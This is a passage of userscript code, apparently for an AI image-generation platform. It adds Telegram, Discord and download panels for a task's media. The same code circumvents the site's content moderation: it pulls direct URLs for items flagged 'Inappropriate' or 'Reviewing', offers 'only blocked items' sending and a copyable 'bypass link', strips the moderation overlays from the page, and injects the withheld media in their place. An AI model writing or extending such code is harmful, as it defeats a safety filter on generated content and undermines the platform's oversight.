          rowMap.clear();
        }

        unique.forEach(item => ensureRow(item));

        sendBtn.disabled = true;
        retryBtn.style.display = 'none';
        statusText.textContent = isRetry
          ? `Retrying ${unique.length} item(s)...`
          : `Sending ${unique.length} item(s)...`;

        let sent = 0;
        let failed = 0;
        lastFailedItems = [];

        for (const item of unique) {
          setRowStatus(item.imageId, 'Sending…');
          const url = await ensureDownloadUrl(item.imageId, item.mimeType || '');
          if (!url) {
            failed += 1;
            lastFailedItems.push(item);
            setRowStatus(item.imageId, 'Failed (no URL)');
            updateMediaStatus(item.imageId, { telegramError: true, lastError: 'No URL' });
            continue;
          }
          const size = item.width && item.height ? `${item.width}x${item.height}` : '';
          const result = await sendToTelegram(url, item.mimeType || 'image/*', taskData?.taskId || taskId, taskData?.createdAt, size, item.imageId, {
            workspaceType: taskData?.workspaceType,
            templateName: taskData?.workflowTemplateInfo?.name || taskData?.workflowInfo?.name || '',
            templateId: taskData?.workflowTemplateInfo?.workflowTemplateId || taskData?.workflowInfo?.workflowId || ''
          });
          if (result?.ok) {
            sent += 1;
            setRowStatus(item.imageId, result.mode === 'url' ? 'Sent (URL)' : 'Sent');
          } else {
            failed += 1;
            lastFailedItems.push(item);
            setRowStatus(item.imageId, 'Failed');
            updateMediaStatus(item.imageId, { telegramError: true, lastError: result?.error || 'Telegram send failed' });
          }
        }

        statusText.textContent = failed
          ? `Sent ${sent}/${unique.length}. ${failed} failed.`
          : `Sent ${sent}/${unique.length} • Success`;

        if (failed > 0) {
          retryBtn.style.display = 'inline-flex';
          retryBtn.disabled = false;
          retryBtn.querySelector('.n-button__content').innerHTML = `<i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed (${failed})`;
        }
        sendBtn.disabled = false;
      };

      sendBtn.onclick = async () => {
        const mediaItems = buildCandidates();
        await sendItems(mediaItems, false);
      };

      retryBtn.onclick = async () => {
        if (!lastFailedItems.length) return;
        await sendItems(lastFailedItems, true);
      };

      attachInjectedHelpTooltip(sendBtn, 'Send all media for this task to Telegram.');
      attachInjectedHelpTooltip(retryBtn, 'Retry sending only failed items.');

      buttonRow.appendChild(sendBtn);
      panel.appendChild(header);
      panel.appendChild(statusRow);
      panel.appendChild(toggleRow);
      panel.appendChild(buttonRow);
      panel.appendChild(list);

      if (insertBeforeEl && insertBeforeEl.parentElement) {
        insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
      } else {
        anchorEl.appendChild(panel);
      }
    };

    const addTaskDiscordPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
      if (isTemplateLikePage()) return;
      if (!settings.discordEnabled || !settings.discordWebhook) return;
      if (!anchorEl) return;

      const key = taskData?.taskId || taskId || '';
      const existing = anchorEl.querySelector(`[data-bypass-task-discord="${key}"]`);
      if (existing) return;

      const panel = document.createElement('div');
      panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
      panel.setAttribute('data-bypass-task-discord', key);

      const header = document.createElement('div');
      header.className = 'flex-c-sb';
      header.innerHTML = `
        <h3 class="text-16 c-text-primary fw-600"><i class="fab fa-discord" style="margin-right: 6px; color: #5865f2;"></i> Discord</h3>
        <div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Send all media to webhook</span></div>
      `;

      const statusRow = document.createElement('div');
      statusRow.className = 'flex-c gap-8';
      statusRow.style.justifyContent = 'space-between';
      statusRow.style.alignItems = 'center';

      const statusText = document.createElement('div');
      statusText.className = 'text-12 c-text-tertiary';
      statusText.textContent = 'Ready to send.';

      const retryBtn = document.createElement('button');
      retryBtn.type = 'button';
      retryBtn.tabIndex = 0;
      retryBtn.className = getTensorButtonClass('warning');
      retryBtn.style.cssText = 'padding: 4px 10px; font-size: 12px; display: none;';
      retryBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;

      statusRow.appendChild(statusText);
      statusRow.appendChild(retryBtn);

      const toggleRow = document.createElement('label');
      toggleRow.className = 'flex-c gap-8 text-12 c-text-tertiary';
      toggleRow.style.cursor = 'pointer';
      const onlyBlockedInput = document.createElement('input');
      onlyBlockedInput.type = 'checkbox';
      onlyBlockedInput.style.cssText = 'cursor: pointer; width: 16px; height: 16px;';
      toggleRow.appendChild(onlyBlockedInput);
      toggleRow.appendChild(document.createTextNode('Send only blocked items'));

      const list = document.createElement('div');
      list.className = 'space-y-4';
      list.style.display = 'none';

      const buttonRow = document.createElement('div');
      buttonRow.className = 'flex-c gap-8';

      const sendBtn = document.createElement('button');
      sendBtn.type = 'button';
      sendBtn.className = getTensorButtonClass('default');
      sendBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-paper-plane" style="margin-right: 6px;"></i> Send all to Discord</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;

      const rowMap = new Map();
      let lastFailedItems = [];

      const ensureRow = (item) => {
        if (!item?.imageId) return null;
        let row = rowMap.get(item.imageId);
        if (row) return row;

        row = document.createElement('div');
        row.className = 'flex-c-sb';

        const left = document.createElement('div');
        left.className = 'flex-c gap-6';
        const idText = document.createElement('span');
        idText.className = 'text-12 c-text-secondary';
        idText.textContent = item.imageId;
        const typeText = document.createElement('span');
        typeText.className = 'text-12 c-text-tertiary';
        typeText.textContent = item.mimeType?.startsWith('video/') ? 'Video' : 'Image';
        left.appendChild(idText);
        left.appendChild(typeText);

        const statusBadge = document.createElement('span');
        statusBadge.className = 'text-12 c-text-tertiary';
        statusBadge.textContent = 'Queued';

        row.appendChild(left);
        row.appendChild(statusBadge);
        list.appendChild(row);
        rowMap.set(item.imageId, statusBadge);
        return statusBadge;
      };

      const setRowStatus = (itemId, text) => {
        const badge = rowMap.get(itemId);
        if (badge) badge.textContent = text;
      };

      const buildCandidates = () => {
        const items = Array.isArray(taskData?.items) ? taskData.items : [];
        let mediaItems = items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
        if (onlyBlockedInput.checked) {
          mediaItems = mediaItems.filter(item => item?.invalid === true);
        }
        return mediaItems;
      };

      const sendItems = async (itemsToSend, isRetry = false) => {
        const unique = [];
        const seen = new Set();
        for (const item of itemsToSend) {
          if (!item?.imageId || seen.has(item.imageId)) continue;
          seen.add(item.imageId);
          unique.push(item);
        }

        if (!unique.length) {
          statusText.textContent = 'No media found for this task.';
          return;
        }

        list.style.display = 'block';
        if (!isRetry || rowMap.size === 0) {
          list.innerHTML = '';
          rowMap.clear();
        }

        unique.forEach(item => ensureRow(item));

        sendBtn.disabled = true;
        retryBtn.style.display = 'none';
        statusText.textContent = isRetry
          ? `Retrying ${unique.length} item(s)...`
          : `Sending ${unique.length} item(s)...`;

        let sent = 0;
        let failed = 0;
        lastFailedItems = [];

        for (const item of unique) {
          setRowStatus(item.imageId, 'Sending…');
          const url = await ensureDownloadUrl(item.imageId, item.mimeType || '');
          if (!url) {
            failed += 1;
            lastFailedItems.push(item);
            setRowStatus(item.imageId, 'Failed (no URL)');
            updateMediaStatus(item.imageId, { discordError: true, lastError: 'No URL' });
            continue;
          }
          const size = item.width && item.height ? `${item.width}x${item.height}` : '';
          const result = await sendToDiscord(url, item.mimeType || 'image/*', taskData?.taskId || taskId, taskData?.createdAt, size, item.imageId, {
            workspaceType: taskData?.workspaceType,
            templateName: taskData?.workflowTemplateInfo?.name || taskData?.workflowInfo?.name || '',
            templateId: taskData?.workflowTemplateInfo?.workflowTemplateId || taskData?.workflowInfo?.workflowId || ''
          });
          if (result?.ok) {
            sent += 1;
            setRowStatus(item.imageId, result.mode === 'url' ? 'Sent (URL)' : 'Sent');
          } else {
            failed += 1;
            lastFailedItems.push(item);
            setRowStatus(item.imageId, 'Failed');
            updateMediaStatus(item.imageId, { discordError: true, lastError: result?.error || 'Discord send failed' });
          }
        }

        statusText.textContent = failed
          ? `Sent ${sent}/${unique.length}. ${failed} failed.`
          : `Sent ${sent}/${unique.length} • Success`;

        if (failed > 0) {
          retryBtn.style.display = 'inline-flex';
          retryBtn.disabled = false;
          retryBtn.querySelector('.n-button__content').innerHTML = `<i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed (${failed})`;
        }
        sendBtn.disabled = false;
      };

      sendBtn.onclick = async () => {
        const mediaItems = buildCandidates();
        await sendItems(mediaItems, false);
      };

      retryBtn.onclick = async () => {
        if (!lastFailedItems.length) return;
        await sendItems(lastFailedItems, true);
      };

      attachInjectedHelpTooltip(sendBtn, 'Send all media for this task to Discord.');
      attachInjectedHelpTooltip(retryBtn, 'Retry sending only failed items.');

      buttonRow.appendChild(sendBtn);
      panel.appendChild(header);
      panel.appendChild(statusRow);
      panel.appendChild(toggleRow);
      panel.appendChild(buttonRow);
      panel.appendChild(list);

      if (insertBeforeEl && insertBeforeEl.parentElement) {
        insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
      } else {
        anchorEl.appendChild(panel);
      }
    };

    const addTaskDownloadPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
      if (isTemplateLikePage()) return;
      if (!anchorEl) return;

      const key = taskData?.taskId || taskId || '';
      const existing = anchorEl.querySelector(`[data-bypass-task-download="${key}"]`);
      if (existing) return;

      const panel = document.createElement('div');
      panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
      panel.setAttribute('data-bypass-task-download', key);

      const header = document.createElement('div');
      header.className = 'flex-c-sb';
      header.innerHTML = `
        <h3 class="text-16 c-text-primary fw-600"><i class="fas fa-download" style="margin-right: 6px;"></i> Download</h3>
        <div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Download all media for this task</span></div>
      `;

      const statusRow = document.createElement('div');
      statusRow.className = 'flex-c gap-8';
      statusRow.style.justifyContent = 'space-between';
      statusRow.style.alignItems = 'center';

      const statusText = document.createElement('div');
      statusText.className = 'text-12 c-text-tertiary';
      statusText.textContent = 'Ready to download.';

      const retryBtn = document.createElement('button');
      retryBtn.type = 'button';
      retryBtn.tabIndex = 0;
      retryBtn.className = getTensorButtonClass('warning');
      retryBtn.style.cssText = 'padding: 4px 10px; font-size: 12px; display: none;';
      retryBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;

      statusRow.appendChild(statusText);
      statusRow.appendChild(retryBtn);

      const toggleRow = document.createElement('label');
      toggleRow.className = 'flex-c gap-8 text-12 c-text-tertiary';
      toggleRow.style.cursor = 'pointer';
      const onlyBlockedInput = document.createElement('input');
      onlyBlockedInput.type = 'checkbox';
      onlyBlockedInput.style.cssText = 'cursor: pointer; width: 16px; height: 16px;';
      toggleRow.appendChild(onlyBlockedInput);
      toggleRow.appendChild(document.createTextNode('Download only blocked items'));

      const list = document.createElement('div');
      list.className = 'space-y-4';
      list.style.display = 'none';

      const buttonRow = document.createElement('div');
      buttonRow.className = 'flex-c gap-8';

      const downloadBtn = document.createElement('button');
      downloadBtn.type = 'button';
      downloadBtn.className = getTensorButtonClass('default');
      downloadBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-download" style="margin-right: 6px;"></i> Download all</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;

      const rowMap = new Map();
      let lastFailedItems = [];

      const ensureRow = (item) => {
        if (!item?.imageId) return null;
        let row = rowMap.get(item.imageId);
        if (row) return row;

        row = document.createElement('div');
        row.className = 'flex-c-sb';

        const left = document.createElement('div');
        left.className = 'flex-c gap-6';
        const idText = document.createElement('span');
        idText.className = 'text-12 c-text-secondary';
        idText.textContent = item.imageId;
        const typeText = document.createElement('span');
        typeText.className = 'text-12 c-text-tertiary';
        typeText.textContent = item.mimeType?.startsWith('video/') ? 'Video' : 'Image';
        left.appendChild(idText);
        left.appendChild(typeText);

        const statusBadge = document.createElement('span');
        statusBadge.className = 'text-12 c-text-tertiary';
        statusBadge.textContent = 'Queued';

        row.appendChild(left);
        row.appendChild(statusBadge);
        list.appendChild(row);
        rowMap.set(item.imageId, statusBadge);
        return statusBadge;
      };

      const setRowStatus = (itemId, text) => {
        const badge = rowMap.get(itemId);
        if (badge) badge.textContent = text;
      };

      const buildCandidates = () => {
        const items = Array.isArray(taskData?.items) ? taskData.items : [];
        let mediaItems = items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
        if (onlyBlockedInput.checked) {
          mediaItems = mediaItems.filter(item => item?.invalid === true);
        }
        return mediaItems;
      };

      const downloadItems = async (itemsToDownload, isRetry = false) => {
        const unique = [];
        const seen = new Set();
        for (const item of itemsToDownload) {
          if (!item?.imageId || seen.has(item.imageId)) continue;
          seen.add(item.imageId);
          unique.push(item);
        }

        if (!unique.length) {
          statusText.textContent = 'No media found for this task.';
          return;
        }

        list.style.display = 'block';
        if (!isRetry || rowMap.size === 0) {
          list.innerHTML = '';
          rowMap.clear();
        }

        unique.forEach(item => ensureRow(item));

        downloadBtn.disabled = true;
        retryBtn.style.display = 'none';
        statusText.textContent = isRetry
          ? `Retrying ${unique.length} item(s)...`
          : `Downloading ${unique.length} item(s)...`;

        let sent = 0;
        let failed = 0;
        lastFailedItems = [];

        for (const item of unique) {
          setRowStatus(item.imageId, 'Downloading…');
          try {
            await downloadMediaById(item.imageId, item.mimeType);
            sent += 1;
            setRowStatus(item.imageId, 'Downloaded');
          } catch (err) {
            failed += 1;
            lastFailedItems.push(item);
            setRowStatus(item.imageId, 'Failed');
            updateMediaStatus(item.imageId, { downloadError: true, lastError: err.message || 'Download failed' });
          }
        }

        statusText.textContent = failed
          ? `Downloaded ${sent}/${unique.length}. ${failed} failed.`
          : `Downloaded ${sent}/${unique.length} • Success`;

        if (failed > 0) {
          retryBtn.style.display = 'inline-flex';
          retryBtn.disabled = false;
          retryBtn.querySelector('.n-button__content').innerHTML = `<i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed (${failed})`;
        }
        downloadBtn.disabled = false;
      };

      downloadBtn.onclick = async () => {
        const mediaItems = buildCandidates();
        await downloadItems(mediaItems, false);
      };

      retryBtn.onclick = async () => {
        if (!lastFailedItems.length) return;
        await downloadItems(lastFailedItems, true);
      };

      attachInjectedHelpTooltip(downloadBtn, 'Download all media for this task.');
      attachInjectedHelpTooltip(retryBtn, 'Retry downloading only failed items.');

      // Create bypass link row for task download section
      const bypassLinkRow = document.createElement('div');
      bypassLinkRow.className = 'flex-c gap-8';
      bypassLinkRow.style.cssText = 'justify-content: space-between; align-items: center; padding: 8px; background: rgba(99, 102, 241, 0.08); border-radius: 8px; border: 1px solid rgba(99, 102, 241, 0.15); display: none;';

      const linkLabel = document.createElement('div');
      linkLabel.className = 'text-12 c-text-tertiary';
      linkLabel.style.cssText = 'flex: 1; min-width: 0;';
      linkLabel.innerHTML = `
        <div style="display: flex; gap: 8px; align-items: center;">
          <i class="fas fa-link" style="color: #6366f1; flex-shrink: 0;"></i>
          <span style="overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-family: monospace; font-size: 11px;">Resolving bypass URL...</span>
        </div>
      `;

      const openBtn = document.createElement('button');
      openBtn.type = 'button';
      openBtn.className = getTensorButtonClass('default');
      openBtn.style.cssText = 'padding: 4px 10px; font-size: 12px;';
      openBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-up-right-from-square" style="margin-right: 4px;"></i> Open</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;
      openBtn.disabled = true;
      attachInjectedHelpTooltip(openBtn, 'Open bypass link in new tab');

      const copyBtn = document.createElement('button');
      copyBtn.type = 'button';
      copyBtn.className = getTensorButtonClass('default');
      copyBtn.style.cssText = 'padding: 4px 10px; font-size: 12px;';
      copyBtn.innerHTML = `
        <span class="n-button__content"><i class="fas fa-copy"></i></span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;
      copyBtn.disabled = true;
      attachInjectedHelpTooltip(copyBtn, 'Copy bypass link to clipboard');

      bypassLinkRow.appendChild(linkLabel);
      bypassLinkRow.appendChild(openBtn);
      bypassLinkRow.appendChild(copyBtn);

      const isBlockedPreviewUrl = (url) => /forbidden\.jpg|reviewing\.png/i.test(String(url || ''));
      const resolveTaskBypassUrl = async () => {
        if (taskData?.directUrl && !isBlockedPreviewUrl(taskData.directUrl)) {
          return { url: taskData.directUrl, imageId: null, mimeType: '' };
        }
        const mediaItems = Array.isArray(taskData?.items)
          ? taskData.items.filter(it => it?.imageId && (it.mimeType?.startsWith('image/') || it.mimeType?.startsWith('video/')))
          : [];
        for (const media of mediaItems) {
          if (media?.url && !isBlockedPreviewUrl(media.url)) {
            return { url: media.url, imageId: media.imageId, mimeType: media.mimeType || '' };
          }
          const resolved = await withTimeout(ensureDownloadUrl(media.imageId, media.mimeType || ''), 5000);
          if (resolved && !isBlockedPreviewUrl(resolved)) {
            return { url: resolved, imageId: media.imageId, mimeType: media.mimeType || '' };
          }
        }
        return null;
      };

      if (settings.showBypassedLink) {
        (async () => {
          const bypass = await resolveTaskBypassUrl();
          const bypassUrl = bypass?.url;
          if (!bypassUrl || !bypassLinkRow.isConnected) {
            bypassLinkRow.style.display = 'none';
            return;
          }

          bypassLinkRow.style.display = 'flex';
          linkLabel.innerHTML = `
            <div style="display: flex; gap: 8px; align-items: center;">
              <i class="fas fa-link" style="color: #6366f1; flex-shrink: 0;"></i>
              <span style="overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-family: monospace; font-size: 11px;">
                ${escapeHtml(bypassUrl)}
              </span>
            </div>
          `;

          openBtn.disabled = false;
          copyBtn.disabled = false;
          const getFreshBypassUrl = async () => {
            let current = bypassUrl;
            const expAt = getSignedUrlExpiryMs(current);
            if (bypass?.imageId && expAt && Date.now() >= (expAt - SIGNED_URL_EXPIRY_SAFETY_MS)) {
              deleteCachedDownloadUrl(bypass.imageId);
              const fresh = await ensureDownloadUrl(bypass.imageId, bypass.mimeType || '', { bypassCache: true });
              if (fresh) current = fresh;
            }
            return current;
          };

          openBtn.onclick = async (e) => {
            e.preventDefault();
            const url = await getFreshBypassUrl().catch(() => bypassUrl);
            window.open(url || bypassUrl, '_blank');
          };
          copyBtn.onclick = async (e) => {
            e.preventDefault();
            const url = await getFreshBypassUrl().catch(() => bypassUrl);
            if (navigator.clipboard?.writeText) {
              await navigator.clipboard.writeText(url || bypassUrl);
            }
          };
        })();
      }

      buttonRow.appendChild(downloadBtn);
      panel.appendChild(header);
      panel.appendChild(statusRow);
      panel.appendChild(bypassLinkRow);
      panel.appendChild(toggleRow);
      panel.appendChild(buttonRow);
      panel.appendChild(list);

      if (insertBeforeEl && insertBeforeEl.parentElement) {
        insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
      } else {
        anchorEl.appendChild(panel);
      }
    };

    const addTaskProfilePanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
      if (!settings.enableTaskProfilesCreation || !anchorEl) return;

      const key = taskData?.taskId || taskId || '';
      const existing = anchorEl.querySelector(`[data-bypass-task-profile="${key}"]`);
      if (existing) return;

      const panel = document.createElement('div');
      panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
      panel.setAttribute('data-bypass-task-profile', key);

      const header = document.createElement('div');
      header.className = 'flex-c-sb';
      const title = document.createElement('h3');
      title.className = 'text-16 c-text-primary fw-600';
      title.innerHTML = '<i class="fas fa-folder" style="margin-right: 6px;"></i> Task Profiles';
      header.appendChild(title);

      const mainRow = document.createElement('div');
      mainRow.className = 'flex-c gap-8';
      mainRow.style.cssText = 'flex-wrap: wrap; gap: 8px;';

      const profiles = getTaskProfiles();
      const profileNames = Object.keys(profiles);

      if (profileNames.length === 0) {
        const emptyMsg = document.createElement('span');
        emptyMsg.className = 'text-12 c-text-tertiary';
        emptyMsg.textContent = 'No profiles created. Create one in the Profiles tab.';
        mainRow.appendChild(emptyMsg);
      } else {
        // Create a searchable dropdown
        const searchContainer = document.createElement('div');
        searchContainer.style.cssText = 'position: relative; flex: 1; min-width: 200px;';

        const input = document.createElement('input');
        input.type = 'text';
        input.placeholder = 'Search or select profile...';
        input.style.cssText = `
          width: 100%;
          padding: 8px 10px;
          border: 1px solid rgba(148, 163, 184, 0.5);
          border-radius: 6px;
          background: rgba(15, 23, 42, 0.6);
          color: #cbd5e1;
          font-size: 12px;
          box-sizing: border-box;
        `;

        const dropdown = document.createElement('div');
        dropdown.style.cssText = `
          position: absolute;
          top: 100%;
          left: 0;
          right: 0;
          background: #1e293b;
          border: 1px solid #475569;
          border-top: none;
          border-radius: 0 0 6px 6px;
          max-height: 200px;
          overflow-y: auto;
          display: none;
          z-index: 1000;
          box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
        `;

        const updateDropdown = () => {
          dropdown.innerHTML = '';
          const searchTerm = input.value.toLowerCase();
          const filtered = profileNames.filter(name => name.toLowerCase().includes(searchTerm));

          if (filtered.length === 0) {
            const noMatch = document.createElement('div');
            noMatch.style.cssText = 'padding: 8px; color: #94a3b8; font-size: 11px;';
            noMatch.textContent = 'No profiles match';
            dropdown.appendChild(noMatch);
            return;
          }

          filtered.forEach(profileName => {
            const option = document.createElement('div');
            option.style.cssText = `
              padding: 8px 10px;
              cursor: pointer;
              border-bottom: 1px solid rgba(71, 85, 105, 0.3);
              color: #cbd5e1;
              font-size: 12px;
              transition: background 0.2s;
            `;
            option.textContent = profileName;
            option.addEventListener('mouseover', () => option.style.background = 'rgba(99, 102, 241, 0.2)');
            option.addEventListener('mouseout', () => option.style.background = 'transparent');
            option.onclick = (e) => {
              e.stopPropagation();
              handleProfileSelection(profileName);
              dropdown.style.display = 'none';
              input.value = '';
            };
            dropdown.appendChild(option);
          });
        };

        const handleProfileSelection = (profileName) => {
          // Show dialog to choose copy or move
          const method = settings.taskProfileAddMethod;
          if (addTaskToProfile(key, taskData, profileName, method)) {
            showToast(`Task added to profile "${profileName}" (${method})`, 'success');
          }
        };

        input.addEventListener('focus', () => {
          dropdown.style.display = 'block';
          updateDropdown();
        });

        input.addEventListener('blur', () => {
          setTimeout(() => {
            dropdown.style.display = 'none';
          }, 100);
        });

        input.addEventListener('input', updateDropdown);

        searchContainer.appendChild(input);
        searchContainer.appendChild(dropdown);
        mainRow.appendChild(searchContainer);

        // Method selector
        const methodLabel = document.createElement('label');
        methodLabel.style.cssText = 'display: flex; align-items: center; gap: 6px; font-size: 12px; color: #cbd5e1; cursor: pointer;';

        const methodSelect = document.createElement('select');
        methodSelect.style.cssText = `
          padding: 6px 8px;
          border: 1px solid rgba(148, 163, 184, 0.5);
          border-radius: 6px;
          background: rgba(15, 23, 42, 0.6);
          color: #cbd5e1;
          font-size: 12px;
          cursor: pointer;
        `;

        const copyOption = document.createElement('option');
        copyOption.value = 'copy';
        copyOption.textContent = 'Copy (keep in all)';

        const moveOption = document.createElement('option');
        moveOption.value = 'move';
        moveOption.textContent = 'Move (only in profile)';

        methodSelect.appendChild(copyOption);
        methodSelect.appendChild(moveOption);
        methodSelect.value = settings.taskProfileAddMethod;

        methodSelect.addEventListener('change', () => {
          settings.taskProfileAddMethod = methodSelect.value;
          saveSettings();
        });

        methodLabel.appendChild(methodSelect);
        mainRow.appendChild(methodLabel);
      }

      panel.appendChild(header);
      panel.appendChild(mainRow);

      if (insertBeforeEl && insertBeforeEl.parentElement) {
        insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
      } else {
        anchorEl.appendChild(panel);
      }
    };

    const removeBlockedOverlayFromSlot = (slot) => {
      const overlays = slot.querySelectorAll('div.cursor-not-allowed, div.flex-c-c.bg-fill-default, div.absolute, span.absolute');
      overlays.forEach(el => {
        const text = (el.textContent || '').toLowerCase();
        const hasFlagText = text.includes('inappropriate') || text.includes('reviewing');
        const hasFlagClass = el.classList.contains('bg-bg-on-secondary') || el.classList.contains('bg-block');
        if (hasFlagText || hasFlagClass || el.classList.contains('cursor-not-allowed')) {
          el.remove();
        }
      });

      const blockedShell = slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border');
      if (blockedShell) blockedShell.remove();
    };

    const findBlockedShell = (slot) => {
      if (!slot) return null;
      return slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border')
        || slot.querySelector('div.cursor-not-allowed')
        || null;
    };

    const removeBlockedMediaArtifacts = (slot) => {
      const imgNodes = Array.from(slot.querySelectorAll('img'));
      imgNodes.forEach(img => {
        const src = `${img.getAttribute('src') || ''} ${img.getAttribute('srcset') || ''}`;
        if (src.includes('forbidden.jpg') || src.includes('reviewing.png')) {
          img.remove();
        }
      });
    };

    const isBlockedSlot = (slot, includeForbidden = false) => {
      if (!slot) return false;
      const text = slot.textContent || '';
      const hasBlockedLabel = text.includes('Inappropriate') || text.includes('Reviewing');
      const hasBlockedShell = Boolean(
        slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border')
        || slot.querySelector('iconpark-icon[icon-id="report"]')
        || slot.querySelector('p.text-14.lh-20.fw-500')
      );
      const isBlockedCard = slot.querySelector('.cursor-not-allowed') || hasBlockedLabel || hasBlockedShell || slot.classList.contains('cursor-not-allowed');
      if (!includeForbidden) return Boolean(isBlockedCard);
      const forbiddenImg = slot.querySelector('img[src*="forbidden.jpg"], img[srcset*="forbidden.jpg"], img[src*="reviewing.png"], img[srcset*="reviewing.png"]');
      return Boolean(isBlockedCard || forbiddenImg);
    };

    const getMediaSlots = (mediaContainer) => {
      if (!mediaContainer) return [];
      const allSlots = Array.from(mediaContainer.querySelectorAll('div.rd-8.overflow-hidden'));
      if (allSlots.length) return allSlots;
      const sizedSlots = Array.from(mediaContainer.querySelectorAll('div.rd-8.overflow-hidden.cursor-pointer.w-196'));
      if (sizedSlots.length) return sizedSlots;
      return [];
    };

    const pickTaskBypassCandidate = async (taskData) => {
      const items = Array.isArray(taskData?.items) ? taskData.items : [];
      if (!items.length) return null;
      const isBlockedPreviewUrl = (url) => /forbidden\.jpg|reviewing\.png/i.test(String(url || ''));

      const ordered = items
        .filter(item => item?.imageId)
        .slice()
        .sort((a, b) => {
          const aScore = (a?.invalid ? 2 : 0) + (isBlockedPreviewUrl(a?.url) ? 1 : 0);
          const bScore = (b?.invalid ? 2 : 0) + (isBlockedPreviewUrl(b?.url) ? 1 : 0);
          return bScore - aScore;
        });

      for (const item of ordered) {
        const mimeType = String(item?.mimeType || '').trim();
        let bypassUrl = String(item?.url || '');
        if (!bypassUrl || isBlockedPreviewUrl(bypassUrl)) {
          bypassUrl = getCachedDownloadUrl(item.imageId, mimeType) || '';
        }
        if (!bypassUrl || isBlockedPreviewUrl(bypassUrl)) {
          bypassUrl = await ensureDownloadUrl(item.imageId, mimeType).catch(() => null);
        }
        if (!bypassUrl || isBlockedPreviewUrl(bypassUrl)) continue;

        const looksVideo = mimeType.startsWith('video/') || /\.mp4(?:\?|$)|\.webm(?:\?|$)|\.mov(?:\?|$)|\.m4v(?:\?|$)/i.test(String(bypassUrl));
        return {
          item,
          url: String(bypassUrl),
          mimeType,
          isVideo: looksVideo
        };
      }

      return null;
    };

    const findTaskPanelSlotAndHost = (panelRoot) => {
      if (!panelRoot) return { slot: null, host: null };
      const slot = panelRoot.querySelector('div.relative.group.h-auto.min-h-0.w-full') || null;
      if (!slot) return { slot: null, host: null };

      const host = slot.querySelector('div.task-thumbnail-video')
        || slot.querySelector('div.rd-8.overflow-hidden.cursor-pointer.relative.bg-bg-on-primary.group')
        || slot.querySelector('div.rd-8.overflow-hidden')
        || slot;

      return { slot, host };
    };

    const clearTaskMissingBypassMarker = (slot) => {
      if (!slot) return;
      slot.querySelectorAll('[data-bypass-task-missing-url]').forEach(el => el.remove());
    };

    const ensureTaskMissingBypassMarker = (slot, message) => {
      if (!slot) return;
      let marker = slot.querySelector('[data-bypass-task-missing-url]');
      if (!marker) {
        marker = document.createElement('div');
        marker.setAttribute('data-bypass-task-missing-url', 'true');
        marker.style.cssText = 'position:absolute; top:8px; left:8px; z-index:12; width:26px; height:26px; border-radius:999px; display:flex; align-items:center; justify-content:center; background:rgba(239,68,68,0.9); color:#fff; border:1px solid rgba(255,255,255,0.35);';
        marker.innerHTML = '<i class="fas fa-triangle-exclamation" style="font-size:12px;"></i>';
        slot.style.position = slot.style.position || 'relative';
        slot.appendChild(marker);
      }
      marker.title = message || 'Bypassed URL not found for this task in cache yet.';
      attachInfoTooltip(marker, marker.title);
    };

    const injectBypassMediaIntoHost = (host, media, taskData, taskId) => {
      if (!host || !media?.url) return false;
      hideActiveBlockedTooltip();
      host.innerHTML = '';

      if (media.isVideo) {
        const video = document.createElement('video');
        video.controls = true;
        video.preload = 'metadata';
        video.src = media.url;
        video.className = 'bypass-dom-video';
        video.style.cssText = 'width:100%; height:100%; object-fit:contain; display:block; background:#000;';
        attachAutoRefreshOnMediaError(video, media.item?.imageId || '', media.mimeType || 'video/mp4', { forceKind: 'video' });
        host.appendChild(video);
      } else {
        const img = document.createElement('img');
        img.src = media.url;
        img.style.cssText = 'width:100%; height:100%; object-fit:contain; display:block;';
        img.className = 'w-full h-full';
        attachAutoRefreshOnMediaError(img, media.item?.imageId || '', media.mimeType || 'image/png', { forceKind: 'image' });
        img.onclick = (e) => {
          e.stopPropagation();
